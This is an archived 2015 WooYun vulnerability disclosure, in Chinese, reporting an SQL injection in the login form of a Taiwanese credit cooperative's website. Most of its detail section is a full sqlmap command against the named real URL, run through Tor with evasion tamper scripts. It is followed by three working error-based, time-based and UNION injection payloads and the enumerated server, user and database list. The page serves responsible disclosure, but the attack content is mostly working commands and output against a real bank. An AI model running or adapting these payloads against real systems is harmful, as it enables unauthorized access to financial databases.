当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129202

漏洞标题:台湾新竹第三信用合作社SQL注入

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 路人甲

提交时间:2015-07-27 17:15

修复时间:2015-09-10 18:26

公开时间:2015-09-10 18:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

台湾新竹第三信用合作社SQL注入

详细说明:

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --threads 2 --technique=BEUT -u "https://www.hc3cbank.com.tw/labor_new/Default.aspx" --data="__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMTE5ODAxMTMxNGRkZqdXZfKCQ6xPPaHUjVjE9TQtE20%3D&__VIEWSTATEGENERATOR=6484108B&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBQKdhcioAQKf%2B873BgK4%2B4r3BgLkioy6CQLgyajRCvZ7o%2F8lcBnSJ%2B8Y%2FGwznNug06It&txt_ID=1&txt_PW=1&cmd_OK=%E7%A2%BA%E5%AE%9A"  --is-dba --current-user --dbs --current-db --tamper=between.py,space2comment.py,randomcase.py
---
Parameter: txt_ID (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTE5ODAxMTMxNGRkZqdXZfKCQ6xPPaHUjVjE9TQtE20=&__VIEWSTATEGENERATOR=6484108B&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQKdhcioAQKf+873BgK4+4r3BgLkioy6CQLgyajRCvZ7o/8lcBnSJ+8Y/GwznNug06It&txt_ID=1' AND 1767=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (1767=1767) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(120)+CHAR(113))) AND 'Lfvn'='Lfvn&txt_PW=1&cmd_OK=%E7%A2%BA%E5%AE%9A
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTE5ODAxMTMxNGRkZqdXZfKCQ6xPPaHUjVjE9TQtE20=&__VIEWSTATEGENERATOR=6484108B&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQKdhcioAQKf+873BgK4+4r3BgLkioy6CQLgyajRCvZ7o/8lcBnSJ+8Y/GwznNug06It&txt_ID=1' WAITFOR DELAY '0:0:20'--&txt_PW=1&cmd_OK=%E7%A2%BA%E5%AE%9A
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTE5ODAxMTMxNGRkZqdXZfKCQ6xPPaHUjVjE9TQtE20=&__VIEWSTATEGENERATOR=6484108B&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQKdhcioAQKf+873BgK4+4r3BgLkioy6CQLgyajRCvZ7o/8lcBnSJ+8Y/GwznNug06It&txt_ID=1' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(112)+CHAR(113)+CHAR(87)+CHAR(105)+CHAR(81)+CHAR(103)+CHAR(108)+CHAR(104)+CHAR(85)+CHAR(68)+CHAR(83)+CHAR(117)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(120)+CHAR(113),NULL,NULL,NULL,NULL-- &txt_PW=1&cmd_OK=%E7%A2%BA%E5%AE%9A
---

漏洞证明:

web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
current user: 'labor'
current user is DBA: False
current database: 'hc3cbank'
available databases [9]:
[*] hc3cbank
[*] master
[*] model
[*] msdb
[*] MSTCC
[*] Northwind
[*] pubs
[*] tcc
[*] tempdb

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 18:24

厂商回复:

感謝通知!

最新状态:

暂无


漏洞评价:

评论